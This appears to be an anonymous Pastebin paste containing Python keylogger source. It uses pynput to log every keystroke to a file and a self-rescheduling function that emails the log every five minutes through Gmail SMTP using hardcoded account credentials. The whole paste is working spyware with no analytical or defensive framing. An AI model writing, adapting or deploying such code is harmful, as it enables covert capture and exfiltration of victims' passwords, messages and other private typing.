Advertisement
Guest User

Untitled

a guest
Mar 28th, 2020
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.24 KB | None | 0 0
  1. import os
  2.  
  3. from pynput.keyboard import Key, Listener
  4. import logging
  5. import sys
  6. import smtplib
  7. from threading import Timer
  8.  
  9.  
  10. def main():
  11. log_dir = ""
  12.  
  13.  
  14.  
  15. logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(message)s')
  16.  
  17. def on_press(key):
  18. logging.info(key)
  19.  
  20.  
  21. with Listener(on_press=on_press) as listener:
  22. listener.join()
  23.  
  24.  
  25.  
  26.  
  27. def sendmail():
  28. # Code executed here
  29.  
  30. email = 'anonymoussecretanonymous12345@gmail.com' # Your email
  31. password = 'secretanonymoussecret12345' # Your email account password
  32. send_to_email = 'anonymoussecretanonymous12345@gmail.com' # Who you are sending the message
  33. subject = "key"
  34.  
  35.  
  36.  
  37. test = open("log.txt", "r")
  38. message = test.read() # The message in the email
  39.  
  40.  
  41.  
  42.  
  43. server = smtplib.SMTP('smtp.googlemail.com', 587) # Connect to the server
  44. server.starttls() # Use TLS
  45. server.login(email, password) # Login to the email server
  46. server.sendmail(email, send_to_email , message) # Send the email
  47. server.quit() # Logout of the email server
  48. Timer(300, sendmail).start()
  49.  
  50.  
  51. sendmail()
  52.  
  53.  
  54.  
  55.  
  56.  
  57. if __name__ == "__main__":
  58. # execute only if run as a script
  59. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement